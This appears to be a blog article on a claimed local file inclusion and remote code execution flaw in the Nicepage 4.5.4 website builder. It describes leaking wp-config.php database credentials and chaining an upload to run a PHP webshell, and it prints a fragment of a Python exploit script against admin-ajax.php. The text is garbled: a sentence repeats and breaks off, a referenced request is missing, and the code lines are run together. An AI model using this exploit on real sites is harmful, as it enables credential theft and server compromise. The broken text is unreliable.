Introduction In the ever-evolving landscape of web development, drag-and-drop builders have become a staple for rapid prototyping and deployment. Nicepage, a popular responsive website builder used by over 2 million users, has been a go-to tool for creating WordPress and HTML sites. However, with popularity comes scrutiny. In late 2023, security researchers identified a critical vulnerability in Nicepage version 4.5.4 —a flaw that opened the door to unauthenticated remote code execution (RCE) and local file inclusion (LFI).

This article dissects the technical specifics of the Nicepage 4.5.4 exploit, how it works, the potential impact on live servers, and the steps to mitigate it. In late 2023, security researchers identified a critical

This request would retrieve the wp-config.php file, exposing database credentials. The more severe variant involved uploading a webshell. Attackers would combine the LFI with a separate file upload vector (e.g., via the plugin’s media import feature) to place a PHP payload (e.g., malicious.jpg.php ) in a temp directory, then use the exploit to include and execute it:
r = requests.post(f"{target}/wp-admin/admin-ajax.php", data=data)
if "DB_NAME" in r.text: print("[!] Exploit successful! Database credentials leaked.") print(r.text[:500]) else: print("[-] Target may be patched.")
